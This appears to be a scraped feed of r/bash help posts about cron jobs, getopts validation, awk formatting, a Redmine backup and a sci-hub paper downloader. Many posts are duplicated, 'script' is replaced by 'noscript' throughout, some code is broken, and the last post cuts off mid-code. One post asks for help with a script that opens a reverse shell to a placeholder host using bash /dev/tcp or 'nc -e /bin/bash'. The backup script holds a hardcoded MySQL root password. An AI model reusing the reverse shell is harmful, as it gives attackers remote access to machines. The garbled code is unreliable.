Issue with cron running a sh noscript / app
Hi all,
​
I am trying to make a bash noscript (called
Here is my code :
ps aux | grep TheApp | grep -v grep > /dev/null 2>&1
if $? -eq 1
then
bash /path/to/TheApp.sh > /dev/null 2>&1 &!
fi
​
So my noscript is running well when i run it myself (
​
Cron line for my noscript :
/bin/bash /path/to/mynoscript.bash
I have some log files that states that my noscript is played by crontab BUT it doesn't do the "bash" line at all.
​
I also tried to only run the app from cron and that doesn't work either and i don't understand why :
/bin/bash /path/to/TheApp.sh
The app doesn't launches at all, i tried with /bin/sh but it's the same and the shebang of the app is /bin/bash. But if launch it myself it works just fine (
​
I am using my own account and not the root account but i also added these lines in the root's crontab but it's still the same.
I checked the /var/log/syslog for cron error but there is no error showing up at all, just some lines stating that the cron job is done i guess ?
Sep 15 17:35:01 computer CRON24307: (user) CMD (/path/to/TheApp.sh)
​
Am i missing something ? I am running on Ubuntu 20.04.5 LTS.
https://redd.it/xf01ko
@r_bash
Hi all,
​
I am trying to make a bash noscript (called
mynoscript.bash) that will check if an app (called TheApp.sh) is running and if it's not, launches it.Here is my code :
ps aux | grep TheApp | grep -v grep > /dev/null 2>&1
if $? -eq 1
then
bash /path/to/TheApp.sh > /dev/null 2>&1 &!
fi
​
So my noscript is running well when i run it myself (
bash mynoscript.bash) but doesn't work from cron.​
Cron line for my noscript :
/bin/bash /path/to/mynoscript.bash
I have some log files that states that my noscript is played by crontab BUT it doesn't do the "bash" line at all.
​
I also tried to only run the app from cron and that doesn't work either and i don't understand why :
/bin/bash /path/to/TheApp.sh
The app doesn't launches at all, i tried with /bin/sh but it's the same and the shebang of the app is /bin/bash. But if launch it myself it works just fine (
bash /path/to/TheApp.sh)​
I am using my own account and not the root account but i also added these lines in the root's crontab but it's still the same.
I checked the /var/log/syslog for cron error but there is no error showing up at all, just some lines stating that the cron job is done i guess ?
Sep 15 17:35:01 computer CRON24307: (user) CMD (/path/to/TheApp.sh)
​
Am i missing something ? I am running on Ubuntu 20.04.5 LTS.
https://redd.it/xf01ko
@r_bash
reddit
Issue with cron running a sh noscript / app
Hi all, I am trying to make a bash noscript (called `mynoscript.bash`) that will check if an app (called `TheApp.sh`) is running and if...
Calling validation when user inputs wrong options in Getops
I have noscript and i need to check if all the validations are correct and working :
#third one is make sure pass in option if the user doesnt pass any option
https://redd.it/x2iyml
@r_bash
I have noscript and i need to check if all the validations are correct and working :
# initialize variables
un=0
file=””
while getopts "d:uph" option; do
case $option in
d)
file=$OPTARG
;;
u)
un=1
;;
p)
p=1
;;
h)
help
exit ;;
*) echo "Error: Invalid option"
exit;;
esac
done
#Validations
# This is my first logic validation user must provide eithe -u or -p option
if [ "$p" ] || [ "$un" ];then
echo "must provide -u or -p" 1>&2 ;
Help
exit 3 ;
fi
#Second one, i want check make sure they not passing both options
if (( p && u ));then
echo "must not pass two options";
Help
exit 3
#third one is make sure pass in option if the user doesnt pass any option
https://redd.it/x2iyml
@r_bash
reddit
Calling validation when user inputs wrong options in Getops
I have noscript and i need to check if all the validations are correct and working : ```p=0 # initialize variables un=0 file=”” ...
Deleting all files relating to an application
I've been trying to rid my Mac of a horribly persistent Microsoft Autoupdate popup, and, in what was definitely not a smart move, I deleted all my MS apps (Excel, Teams etc) from the Applications folder by hand instead of using an app cleaner.
The popup persisted, so I dug around and deleted some stuff in
Alternatively, if someone has had the same Autoupdate problem and solved it, do please let me know what worked :)
​
Edit: I just found a post someone else made here with the same question, but the only answer is what I knew all along... should have used app cleaner in the first place. It's too late now though, so I hope someone can help!
https://redd.it/xf88uv
@r_bash
I've been trying to rid my Mac of a horribly persistent Microsoft Autoupdate popup, and, in what was definitely not a smart move, I deleted all my MS apps (Excel, Teams etc) from the Applications folder by hand instead of using an app cleaner.
The popup persisted, so I dug around and deleted some stuff in
~/Library/Application Support (as directed by a different thread). Five minutes later, the Autoupdate window was back. So my question is (for future reference, too): is there a bash command which would allow me to find all the files associated with an application? Surely this is what app cleaners do -- find some log of these files that came in installation and updates? Since I've already deleted the apps, I can hardly go back and do it by app cleaner, so I might as well try and learn something from this.Alternatively, if someone has had the same Autoupdate problem and solved it, do please let me know what worked :)
​
Edit: I just found a post someone else made here with the same question, but the only answer is what I knew all along... should have used app cleaner in the first place. It's too late now though, so I hope someone can help!
https://redd.it/xf88uv
@r_bash
reddit
Bash on macOS: find all app's installed files even hidden ones -...
Hello, Is there a bash utility that finds and locates every file installed by an app? Some of those files can't be files or entries in special...
Need help in extracting specific words from specific line from a text file and echo it to the user when they enter their name.
# Hi everyone basically I got stuck on this part of an assignment, I tried searching everywhere but can't seem to get an answer. I am using ubuntu terminal.
# Basically I have this student.txt
__________________________________________________________________________________________________________
Name:country:phonebrand:email
James:Singapore:Apple:outlook
Jonh:USA:samsung:gmail
Steve:England:nokia:gmail
_______________________________________________________________________________________________________
# I am suppose create a executable binbash file to allow user to enter their name, and automatically it will display the phone brand, email, country details. So any help would be appreciated.
______________________________________________________________________________________________________
Name:
________________________________________________________________________________________________
Phone brand(auto display) :
Email (auto display) :
Country (auto display) :
_____________________________________________________________________________________________________
https://redd.it/x28qb4
@r_bash
# Hi everyone basically I got stuck on this part of an assignment, I tried searching everywhere but can't seem to get an answer. I am using ubuntu terminal.
# Basically I have this student.txt
__________________________________________________________________________________________________________
Name:country:phonebrand:email
James:Singapore:Apple:outlook
Jonh:USA:samsung:gmail
Steve:England:nokia:gmail
_______________________________________________________________________________________________________
# I am suppose create a executable binbash file to allow user to enter their name, and automatically it will display the phone brand, email, country details. So any help would be appreciated.
______________________________________________________________________________________________________
Name:
________________________________________________________________________________________________
Phone brand(auto display) :
Email (auto display) :
Country (auto display) :
_____________________________________________________________________________________________________
https://redd.it/x28qb4
@r_bash
reddit
Need help in extracting specific words from specific line from a...
# Hi everyone basically I got stuck on this part of an assignment, I tried searching everywhere but can't seem to get an answer. I am using ubuntu...
ZERO knowledge in noscripting, need help in this noscript.
Okay please don't flame me. This is probably chicken stuff from y'all.
Totally zero knowledge in noscripting and inherited an IT system.
One of daily tasks is to do backup of our redmine db to our storage server. Both local.
Last I.T. left me with a noscript to do this.
The noscript backups ALL-time redmine DB and I just need to backup this year's DB. (2022)
Hope somebody could let me know what I need to change.
#!/usr/bin/env bash
BACKUP_DATE=`date +"%Y%m%d"`
pushd /root
rm -f redmine_db_${BACKUP_DATE}.sql
rm -f redmine_db_${BACKUP_DATE}.tar.gz
rm -f redmine_file_${BACKUP_DATE}.tar.gz
mysqldump -uroot -pcomplipassword --all-databases > redmine_db_${BACKUP_DATE}.sql
tar -cvzf redmine_db_${BACKUP_DATE}.tar.gz redmine_db_${BACKUP_DATE}.sql
rm -f redmine_db_${BACKUP_DATE}.sql
scp -P 32323 redmine_db_${BACKUP_DATE}.tar.gz ubuntu@192.168.10.231:/mnt/gitbackup/
rm -f redmine_db_${BACKUP_DATE}.tar.gz
tar -cvzf redmine_file_${BACKUP_DATE}.tar.gz /opt/redmine/files
scp -P 32323 redmine_file_${BACKUP_DATE}.tar.gz ubuntu@192.168.10.231:/mnt/gitbackup/
rm -f redmine_file_${BACKUP_DATE}.tar.gz
popd
https://redd.it/x245gc
@r_bash
Okay please don't flame me. This is probably chicken stuff from y'all.
Totally zero knowledge in noscripting and inherited an IT system.
One of daily tasks is to do backup of our redmine db to our storage server. Both local.
Last I.T. left me with a noscript to do this.
The noscript backups ALL-time redmine DB and I just need to backup this year's DB. (2022)
Hope somebody could let me know what I need to change.
#!/usr/bin/env bash
BACKUP_DATE=`date +"%Y%m%d"`
pushd /root
rm -f redmine_db_${BACKUP_DATE}.sql
rm -f redmine_db_${BACKUP_DATE}.tar.gz
rm -f redmine_file_${BACKUP_DATE}.tar.gz
mysqldump -uroot -pcomplipassword --all-databases > redmine_db_${BACKUP_DATE}.sql
tar -cvzf redmine_db_${BACKUP_DATE}.tar.gz redmine_db_${BACKUP_DATE}.sql
rm -f redmine_db_${BACKUP_DATE}.sql
scp -P 32323 redmine_db_${BACKUP_DATE}.tar.gz ubuntu@192.168.10.231:/mnt/gitbackup/
rm -f redmine_db_${BACKUP_DATE}.tar.gz
tar -cvzf redmine_file_${BACKUP_DATE}.tar.gz /opt/redmine/files
scp -P 32323 redmine_file_${BACKUP_DATE}.tar.gz ubuntu@192.168.10.231:/mnt/gitbackup/
rm -f redmine_file_${BACKUP_DATE}.tar.gz
popd
https://redd.it/x245gc
@r_bash
reddit
ZERO knowledge in noscripting, need help in this noscript.
Okay please don't flame me. This is probably chicken stuff from y'all. Totally zero knowledge in noscripting and inherited an IT system. One...
How to cd into an argument's directory?
I want my noscript to cd into the directory of $1. For example: if the user passes
https://redd.it/x1s7jg
@r_bash
I want my noscript to cd into the directory of $1. For example: if the user passes
/home/user/pdf/book1.pdf as an argument, I want the noscript to cd into /home/user/pdf. Any idea?https://redd.it/x1s7jg
@r_bash
reddit
How to cd into an argument's directory?
I want my noscript to cd into the directory of $1. For example: if the user passes `/home/user/pdf/book1.pdf` as an argument, I want the noscript to...
Download Any Research Article
By simply copying the doi of any article (i.e., [https://doi.org/](https://doi.org/)...) and passing it as a second argument, the noscript scrapes [sci-hub.se](https://sci-hub.se) and opens the article in your native pdf viewer. If you have xclip or xsel installed, you can simply copy the doi and only run the noscript without passing any arguments.
You need curl as dependency.
Optional dependencies are dmenu, xclip or xsel
​
#!/bin/bash
# To run:
# 1. Copy https://doi.org/blahblah
# 2. Then pass it as the second argument: ./paperdownloadscihub https://doi.org/blahblah
# * Or you can just run the noscript if the link is copied in your clipboard
dmenuprompt() {
answer=$(echo -e "Yes\nNo" | dmenu -i -p "Keep paper?")
[[ -z $answer ]] && rm -rf $downloaded_paper && notify-send "$downloaded_paper removed" && exit 0;
case $answer in
#"Yes") mv $downloaded_paper "$papersdir" && notify-send "$downloaded_paper saved in $papersdir" ;;
"Yes") notify-send "$downloaded_paper saved in $papersdir" && exit 0 ;;
"No") rm -rf $downloaded_paper && notify-send "$downloaded_paper removed" ;;
*) exit 0 ;;
esac
}
papersdir="$HOME/Downloads"
[[ -d $papersdir ]] || papersdir="$HOME/Downloads"
useragent="Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0"
[[ ! -z "$@" ]] && doi="$@" || \
doi=$(xclip -selection clipboard -o)
[[ -z $doi ]] && doi=$(xsel)
[[ -z $doi ]] && doi=$(wl-paste)
[[ -z $doi ]] && doi=$(pbpaste)
linkk=$(echo "https://sci-hub.se/"$doi | sed "s/ //g")
tmppaper=$(curl -s $linkk | grep "<button onclick" | awk 'BEGIN {FS="\""} {print $2}' | sed "s/location.href='//g;s/'//g;s/?download=true//g")
[[ -z $tmppaper ]] && notify-send "Paper not found" && exit 1;
two_dashes=$(echo $tmppaper | grep -o "^\/\/");
[[ -z $two_dashes ]] && paper=$tmppaper || paper=$(echo $tmppaper | sed "s/^\/\///")
paper_with_scihub=$(echo "https://$paper")
[[ $paper_with_scihub == "https://sci-hub.se" ]] && notify-send "Paper not found" && exit 1;
cd $papersdir
curl -LsO "$paper_with_scihub" \
&& downloaded_paper=$(ls -tr *.pdf | tail -n 1)
typee=$(file -b $downloaded_paper 2>/dev/null | cut -d' ' -f1)
if [[ typee == "HTML" || -z $downloaded_paper ]];
then
paper_with_scihub=$(echo "https://sci-hub.se$paper")
curl -LsO "$paper_with_scihub" \
&& downloaded_paper=$(ls -tr *.pdf | tail -n 1)
fi
xdg-open $downloaded_paper 2>/dev/null || open $downloaded_paper 2>/dev/null && [[ -z "$(which dmenu 2>/dev/null)" ]] && exit 1 || dmenuprompt
https://redd.it/xfebph
@r_bash
By simply copying the doi of any article (i.e., [https://doi.org/](https://doi.org/)...) and passing it as a second argument, the noscript scrapes [sci-hub.se](https://sci-hub.se) and opens the article in your native pdf viewer. If you have xclip or xsel installed, you can simply copy the doi and only run the noscript without passing any arguments.
You need curl as dependency.
Optional dependencies are dmenu, xclip or xsel
​
#!/bin/bash
# To run:
# 1. Copy https://doi.org/blahblah
# 2. Then pass it as the second argument: ./paperdownloadscihub https://doi.org/blahblah
# * Or you can just run the noscript if the link is copied in your clipboard
dmenuprompt() {
answer=$(echo -e "Yes\nNo" | dmenu -i -p "Keep paper?")
[[ -z $answer ]] && rm -rf $downloaded_paper && notify-send "$downloaded_paper removed" && exit 0;
case $answer in
#"Yes") mv $downloaded_paper "$papersdir" && notify-send "$downloaded_paper saved in $papersdir" ;;
"Yes") notify-send "$downloaded_paper saved in $papersdir" && exit 0 ;;
"No") rm -rf $downloaded_paper && notify-send "$downloaded_paper removed" ;;
*) exit 0 ;;
esac
}
papersdir="$HOME/Downloads"
[[ -d $papersdir ]] || papersdir="$HOME/Downloads"
useragent="Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0"
[[ ! -z "$@" ]] && doi="$@" || \
doi=$(xclip -selection clipboard -o)
[[ -z $doi ]] && doi=$(xsel)
[[ -z $doi ]] && doi=$(wl-paste)
[[ -z $doi ]] && doi=$(pbpaste)
linkk=$(echo "https://sci-hub.se/"$doi | sed "s/ //g")
tmppaper=$(curl -s $linkk | grep "<button onclick" | awk 'BEGIN {FS="\""} {print $2}' | sed "s/location.href='//g;s/'//g;s/?download=true//g")
[[ -z $tmppaper ]] && notify-send "Paper not found" && exit 1;
two_dashes=$(echo $tmppaper | grep -o "^\/\/");
[[ -z $two_dashes ]] && paper=$tmppaper || paper=$(echo $tmppaper | sed "s/^\/\///")
paper_with_scihub=$(echo "https://$paper")
[[ $paper_with_scihub == "https://sci-hub.se" ]] && notify-send "Paper not found" && exit 1;
cd $papersdir
curl -LsO "$paper_with_scihub" \
&& downloaded_paper=$(ls -tr *.pdf | tail -n 1)
typee=$(file -b $downloaded_paper 2>/dev/null | cut -d' ' -f1)
if [[ typee == "HTML" || -z $downloaded_paper ]];
then
paper_with_scihub=$(echo "https://sci-hub.se$paper")
curl -LsO "$paper_with_scihub" \
&& downloaded_paper=$(ls -tr *.pdf | tail -n 1)
fi
xdg-open $downloaded_paper 2>/dev/null || open $downloaded_paper 2>/dev/null && [[ -z "$(which dmenu 2>/dev/null)" ]] && exit 1 || dmenuprompt
https://redd.it/xfebph
@r_bash
Authenticate using external noscript
I have a bunch of small noscripts which are interacting with a rest api. An example of such is the below
Note that
All of these small noscripts have the need for a valid access token ($ACCESS_TOKEN) in common.
What I'd like to have is another noscript which I can source and have the ACCESS_TOKEN variable updated as needed. I've tried to do that using the following noscript. Named
But the above noscript always update the access token.
Using the above I'd like to have my initial
Is this possible with bash? As mentioned before the
https://redd.it/xfhcr9
@r_bash
I have a bunch of small noscripts which are interacting with a rest api. An example of such is the below
list.sh noscript.#!/usr/bin/env bash$HTTP "$INSTANCE_HOST/instances" "Authorization: Bearer $ACCESS_TOKEN"Note that
HTTP="http --verify=no --check-status"All of these small noscripts have the need for a valid access token ($ACCESS_TOKEN) in common.
What I'd like to have is another noscript which I can source and have the ACCESS_TOKEN variable updated as needed. I've tried to do that using the following noscript. Named
auth.sh.#!/usr/bin/env bashexp=$(echo "$ACCESS_TOKEN" | jq -R 'split(".")? | .[1] | @base64d | fromjson | .exp')NOW=$(date +%s)if [[ -z "$exp" ]] || (( $exp < $NOW )); then echo "Update token..." # shellcheck disable=SC2155 export ACCESS_TOKEN=$($HTTP --auth "$USER_EMAIL:$PASSWORD" post "$INSTANCE_HOST/tokens" | jq -r '.access_token')else echo "Token still valid!"fiBut the above noscript always update the access token.
Using the above I'd like to have my initial
list.sh noscript defined as below#!/usr/bin/env bashsource ./auth.sh$HTTP "$INSTANCE_HOST/instances" "Authorization: Bearer $ACCESS_TOKEN"Is this possible with bash? As mentioned before the
auth.sh noscript always update the access token.https://redd.it/xfhcr9
@r_bash
reddit
Authenticate using external noscript
I have a bunch of small noscripts which are interacting with a rest api. An example of such is the below `list.sh` noscript. `#!/usr/bin/env...
Match an exactly string 2 or more times
I've this text and i need to match all functions that returns int and has int as parameter
; unistd.h
void _exit(int);
int access(string,int);
uint alarm(uint);
int chdir(string);
int chown(string,int,int);
int close(int);
I've tried `grep -E '^int|\(int|,int\)'` but that's is an or, so i've tried `grep -E '\bint\b{2,}'` but, nothing
https://redd.it/xfjcd3
@r_bash
I've this text and i need to match all functions that returns int and has int as parameter
; unistd.h
void _exit(int);
int access(string,int);
uint alarm(uint);
int chdir(string);
int chown(string,int,int);
int close(int);
I've tried `grep -E '^int|\(int|,int\)'` but that's is an or, so i've tried `grep -E '\bint\b{2,}'` but, nothing
https://redd.it/xfjcd3
@r_bash
reddit
Match an exactly string 2 or more times
I've this text and i need to match all functions that returns int and has int as parameter ; unistd.h void _exit(int); int...
I want to assign a command to a variable and use it in if statement
sum_errors=$(grep -P '^(?!\[SKIPPED\]).*?[Ee]rror' $LOG_FILE)
if [[ $(grep -P '^(?!\[SKIPPED\]).*?[Ee]rror' $LOG_FILE) ]]; then
echo -e "Error details:\n\n$sum_errors\n" >> $LOG_FILE 2>&1
else
echo -e "No errors found." >> $LOG_FILE 2>&1
fi
I want to use "sum\_errors" instead of the whole grep command as condition to if statement, this is required in order to make the noscript working good.
I tried to do this:
if [[ $(${sum_errors}) ]]; then
echo -e "Error details:\n\n$sum_errors\n" >> $LOG_FILE 2>&1
else
echo -e "No errors found" >> $LOG_FILE 2>&1
fi
and it works if the grep command doesn't output nothing, but if it finds the string pattern it fails and returns this:
./test1.sh: line 31: Modular: command not found
Can you help me understand what am i doing wrong?
https://redd.it/xfq5mr
@r_bash
sum_errors=$(grep -P '^(?!\[SKIPPED\]).*?[Ee]rror' $LOG_FILE)
if [[ $(grep -P '^(?!\[SKIPPED\]).*?[Ee]rror' $LOG_FILE) ]]; then
echo -e "Error details:\n\n$sum_errors\n" >> $LOG_FILE 2>&1
else
echo -e "No errors found." >> $LOG_FILE 2>&1
fi
I want to use "sum\_errors" instead of the whole grep command as condition to if statement, this is required in order to make the noscript working good.
I tried to do this:
if [[ $(${sum_errors}) ]]; then
echo -e "Error details:\n\n$sum_errors\n" >> $LOG_FILE 2>&1
else
echo -e "No errors found" >> $LOG_FILE 2>&1
fi
and it works if the grep command doesn't output nothing, but if it finds the string pattern it fails and returns this:
./test1.sh: line 31: Modular: command not found
Can you help me understand what am i doing wrong?
https://redd.it/xfq5mr
@r_bash
reddit
I want to assign a command to a variable and use it in if statement
sum_errors=$(grep -P '^(?!\[SKIPPED\]).*?[Ee]rror' $LOG_FILE) if [[ $(grep -P '^(?!\[SKIPPED\]).*?[Ee]rror' $LOG_FILE) ]]; then ...
Help with awk in noscript
Hi,
I am trying to adapt a rofi noscript that changes the pulseaudio sink.The noscript work well, but I want to replace the sink/device names from "alsa_output.pci-0000_06_00.6.analog-stereo" to "Laptop" for example.
Can it be done with awk?The idea is: if sink name matches "alsa_output.pci-0000_06_00.6.analog-stereo" then print "Laptop", but for the next command keep "alsa_output.pci-0000_06_00.6.analog-stereo"
Here is the noscript I am using:
Thank you in advance! :)
https://redd.it/xfrb3z
@r_bash
Hi,
I am trying to adapt a rofi noscript that changes the pulseaudio sink.The noscript work well, but I want to replace the sink/device names from "alsa_output.pci-0000_06_00.6.analog-stereo" to "Laptop" for example.
Can it be done with awk?The idea is: if sink name matches "alsa_output.pci-0000_06_00.6.analog-stereo" then print "Laptop", but for the next command keep "alsa_output.pci-0000_06_00.6.analog-stereo"
Here is the noscript I am using:
#!/usr/bin/bash# choose pulseaudio sink via rofi or dmenu # changes default sink and moves all streams to that sinksink=$(ponymix -t sink list|awk '/^sink/ {s=$1" "$2;getline;gsub(/^ +/,"",$0);print s" "$0}'|rofi -dmenu -p 'pulseaudio sink:' -location 6 -width 100|grep -Po '[0-9]+(?=:)') &&ponymix set-default -d $sink && for input in $(ponymix list -t sink-input|grep -Po '[0-9]+(?=:)');do echo "$input -> $sink"ponymix -t sink-input -d $input move $sink doneThank you in advance! :)
https://redd.it/xfrb3z
@r_bash
reddit
Help with awk in noscript
Hi, I am trying to adapt a rofi noscript that changes the pulseaudio sink.The noscript work well, but I want to replace the sink/device names from...
Display input line by line waiting on keypress
I would like to do something like
ls | while read n; do echo $n; read; done
For some reason the second read command doesn’t seem to be executing, is it blocked by the first read command or something?
Could anyone suggest a way to do this?
Thanks very much
https://redd.it/xfls1y
@r_bash
I would like to do something like
ls | while read n; do echo $n; read; done
For some reason the second read command doesn’t seem to be executing, is it blocked by the first read command or something?
Could anyone suggest a way to do this?
Thanks very much
https://redd.it/xfls1y
@r_bash
reddit
Display input line by line waiting on keypress
I would like to do something like ls | while read n; do echo $n; read; done For some reason the second read command doesn’t seem to be...
Tutorial: Rapid Script Development with Bash, JC, and JQ (no grep/sed/awk)
https://blog.kellybrazil.com/2022/08/29/tutorial-rapid-noscript-development-with-bash-jc-and-jq/
https://redd.it/x0rvit
@r_bash
https://blog.kellybrazil.com/2022/08/29/tutorial-rapid-noscript-development-with-bash-jc-and-jq/
https://redd.it/x0rvit
@r_bash
Brazil's Blog
Tutorial: Rapid Script Development with Bash, JC, and JQ - Brazil's Blog
Tutorial demonstrating the rapid development of a subnet scanning Bash noscript made possible with the power of JSON, jc, and jq.
awk is adding a space to print output
cat variables.tf | grep -i "createkmskey" -A 3 | awk -F'=' '/default/ {print "\""$2"\""}'
I'm reading a value from a file, and some outputs will have a value of
Sometimes the values in the Default field will be strings, numbers, etc.
How do I strip that white space without having to resort to the likes of sed, and only use awk?
https://redd.it/x0ygeb
@r_bash
cat variables.tf | grep -i "createkmskey" -A 3 | awk -F'=' '/default/ {print "\""$2"\""}'
I'm reading a value from a file, and some outputs will have a value of
true or false bash interprets this as a boolean. So I am wrapping the output with ". Doing so though awk adds a white space to the output so false will output " false" instead of "false".Sometimes the values in the Default field will be strings, numbers, etc.
How do I strip that white space without having to resort to the likes of sed, and only use awk?
https://redd.it/x0ygeb
@r_bash
reddit
awk is adding a space to print output
cat variables.tf | grep -i "create_kms_key" -A 3 | awk -F'=' '/default/ {print "\""$2"\""}' I'm reading a value from a file, and some outputs...
why is crontab running some commands different? (running noscript manually works as expected)
I have a noscript which is runs correctly manually and I know crontab is picking it up because the logs get updated but I have the following issues:
in crontab "lastUpdate", "now" and "diff" are always empty in the log (when I run it manually they have integer values) and because of this it never reaches the "then" statement (also I assume kill and python commands will work in crontab)
log looks like (but i expect values for 2,3,4):
1 start
2
3
4
​
_____________________________________________________________
crontab -e: * * * * * /home/jmair/test/noscript.sh
_____________________________________________________________
\#!/bin/bash
echo "start" >> /home/jmair/log.txt
lastUpdate=$(stat -c %Y products.json)
now=$(date +%s)
let diff=${now}-${lastUpdate}
limit=10
echo $(lastUpdate) >> /home/jmair/log.txt
echo $(now) >> /home/jmair/log.txt
echo $(diff) >> /home/jmair/log.txt
echo $(diff>limit) >> /home/jmair/log.txt
if ((diff>limit))
then
echo "restarting main.py" >> /home/jmair/log.txt
kill $(pgrep -f 'main.py')
sleep 1
python3.9 /home/jmair/test/main.py
fi
https://redd.it/xfzhgm
@r_bash
I have a noscript which is runs correctly manually and I know crontab is picking it up because the logs get updated but I have the following issues:
in crontab "lastUpdate", "now" and "diff" are always empty in the log (when I run it manually they have integer values) and because of this it never reaches the "then" statement (also I assume kill and python commands will work in crontab)
log looks like (but i expect values for 2,3,4):
1 start
2
3
4
​
_____________________________________________________________
crontab -e: * * * * * /home/jmair/test/noscript.sh
_____________________________________________________________
\#!/bin/bash
echo "start" >> /home/jmair/log.txt
lastUpdate=$(stat -c %Y products.json)
now=$(date +%s)
let diff=${now}-${lastUpdate}
limit=10
echo $(lastUpdate) >> /home/jmair/log.txt
echo $(now) >> /home/jmair/log.txt
echo $(diff) >> /home/jmair/log.txt
echo $(diff>limit) >> /home/jmair/log.txt
if ((diff>limit))
then
echo "restarting main.py" >> /home/jmair/log.txt
kill $(pgrep -f 'main.py')
sleep 1
python3.9 /home/jmair/test/main.py
fi
https://redd.it/xfzhgm
@r_bash
reddit
why is crontab running some commands different? (running noscript...
I have a noscript which is runs correctly manually and I know crontab is picking it up because the logs get updated but I have the following...
Formatting multiple line output to CSV
I'm running
Output:
>Ping: 56.438 ms
>
>Download: 201.86 Mbit/s
>
>Upload: 18.42 Mbit/s
What I would like to do is change this to output to CSV file:
>56.438 ms, 201.86 Mbit/s, 18.42 Mbit/s
so that I could append it to the file.
​
I've trying to use awk to only get the desired text, but I still get it in three different lines without commas.
https://redd.it/x122we
@r_bash
I'm running
speedtest-cli --simpleOutput:
>Ping: 56.438 ms
>
>Download: 201.86 Mbit/s
>
>Upload: 18.42 Mbit/s
What I would like to do is change this to output to CSV file:
>56.438 ms, 201.86 Mbit/s, 18.42 Mbit/s
so that I could append it to the file.
​
I've trying to use awk to only get the desired text, but I still get it in three different lines without commas.
https://redd.it/x122we
@r_bash
reddit
Formatting multiple line output to CSV
I'm running `speedtest-cli --simple` Output: >Ping: 56.438 ms > >Download: 201.86 Mbit/s > >Upload: 18.42 Mbit/s What I would like to...
Help with Bash Script using Netcat
Hello, creating a Bash noscript with this goal. I would like to use Reverse Bash when Netcat is NOT available. And I would like to use Reverse NC, when Netcat IS available. Comments explain what is going on. My current issue is, whether I set the final IF statement to "==" or "!=", I am having "Reverse Bash" always executed. Why is this happening? Appreciate any help thanks!
​
#!/bin/bash
#Jack is variable that sets Netcats Path to it, using which function.
#Jake is variable to Netcat Path, checks against it if its present.
JACK=echo "$(/usr/bin/which nc)" &> /dev/null
JAKE=echo "/usr/bin/nc" &> /dev/null
# If statement checks if Netcat path is installed.
if $JACK == $JAKE ;then
echo "They are equal.. For testing purposes."
fi
# If Netcat Path is equal/found, then Reverse NC should be run.
# If Netcat Path is NOT equal/found, then Reverse Bash is run.
if $JACK != $JAKE ;then
echo Reverse Bash
bash -i >& /dev/tcp/IPHERE/PORTHERE 0>&1
else
echo Reverse NC
nc IPHERE 87 -e /bin/bash &
fi
https://redd.it/x0u9oe
@r_bash
Hello, creating a Bash noscript with this goal. I would like to use Reverse Bash when Netcat is NOT available. And I would like to use Reverse NC, when Netcat IS available. Comments explain what is going on. My current issue is, whether I set the final IF statement to "==" or "!=", I am having "Reverse Bash" always executed. Why is this happening? Appreciate any help thanks!
​
#!/bin/bash
#Jack is variable that sets Netcats Path to it, using which function.
#Jake is variable to Netcat Path, checks against it if its present.
JACK=echo "$(/usr/bin/which nc)" &> /dev/null
JAKE=echo "/usr/bin/nc" &> /dev/null
# If statement checks if Netcat path is installed.
if $JACK == $JAKE ;then
echo "They are equal.. For testing purposes."
fi
# If Netcat Path is equal/found, then Reverse NC should be run.
# If Netcat Path is NOT equal/found, then Reverse Bash is run.
if $JACK != $JAKE ;then
echo Reverse Bash
bash -i >& /dev/tcp/IPHERE/PORTHERE 0>&1
else
echo Reverse NC
nc IPHERE 87 -e /bin/bash &
fi
https://redd.it/x0u9oe
@r_bash
reddit
Help with Bash Script using Netcat
Hello, creating a Bash noscript with this goal. I would like to use Reverse Bash when Netcat is NOT available. And I would like to use Reverse NC,...
Everytime I enter "./filename -s s" in the command line I get the usage message.
I am very new at this and I don't know what im doing wrong. If you know please help.
https://redd.it/xg68qd
@r_bash
I am very new at this and I don't know what im doing wrong. If you know please help.
#global areaSORT="cat"DATAFILE="zipcodes.dat"#functions areausage(){cat 1>&2 <<EOFusage: $(basename $0)-h this is a help message.-s sort by zipcode, city, and or state.-d set output delimeter-l locate city by text.-c data to display.EOFexit $1}sort_zip_city_state(){local which_sort=$1case $which_sort ins)SORT="sort -k3,3";;c)SORT="sort -k2,2";;z)SORT="sort -k1,1";;*) usage 0;;esacshift}#read parameterswhile [ $# -gt 0 ]; docase $1 in-h) usage 0;;-s) sort_zip_city_state $1;;*) usage 1;;esacshiftdone# call the utilitiescat $DATAFILE | $SORThttps://redd.it/xg68qd
@r_bash
reddit
Everytime I enter "./filename -s s" in the command line I get the...
I am very new at this and I don't know what im doing wrong. If you know please help. `#global...
breaking my PS1 too many times
I was trying to edit my PS0 and PS1 and things went wrong quickly so I wrote:
alias PS1='saveps1() { [[ -z "${1}" ]] && (echo "PS1 ${PS1@Q}";) || PS1="${1}"; echo "PS1 ${1@Q}" >> ~/ps.txt ; }; saveps1'
alias PS0='saveps0() { [[ -z "${1}" ]] && (echo "PS0 ${PS0@Q}";) || PS0="${1}"; echo "PS0 ${1@Q}" >> ~/ps.txt ; }; saveps0'
So I could edit with
Now, I wanted a basic elapsed time in PS1 from PS0 made by myself, and after some quite breaking shells I found this is working quite well:
PS0='${PS1:(PStime=$(printtime)):0}'
PS1='$(elapsed $PStime)${PS1:(PStime=0):0}\u@\h:\w\$ '
Functions:
printtime ()
{
local var=${EPOCHREALTIME/,/};
echo ${var%???}
}
elapsed ()
{
[ -v "${1}" ] || ( local VAR=$(printtime);
local ELAPSED=$(( ${VAR} - ${1} ));
echo "${ELAPTXT}$(formatms ${ELAPSED})"$'\e[0m' )
}
formatms ()
{
local n=$((${1})) && case ${n} in
? | ?? | ???)
echo $n"ms"
;;
????)
echo ${n:0:1}${n:0,-3}"ms"
;;
?????)
echo ${n:0:2}","${n:0,-3}"s"
;;
??????)
printf $((${n:0:3}/60))m+$((${n:0:3}%60)),${n:0,-3}"s"
;;
???????)
printf $((${n:0:4}/60))m$((${n:0:4}%60))s${n:0,-3}"ms"
;;
*)
printf "too much!"
;;
esac
}
ELAPTXT=$'\E1;33m \uf135 '
​
[testing
Please criticize, optimize or comment any bad approach here.
I'm new to bash but found it very enjoyable.
https://redd.it/xgirh0
@r_bash
I was trying to edit my PS0 and PS1 and things went wrong quickly so I wrote:
alias PS1='saveps1() { [[ -z "${1}" ]] && (echo "PS1 ${PS1@Q}";) || PS1="${1}"; echo "PS1 ${1@Q}" >> ~/ps.txt ; }; saveps1'
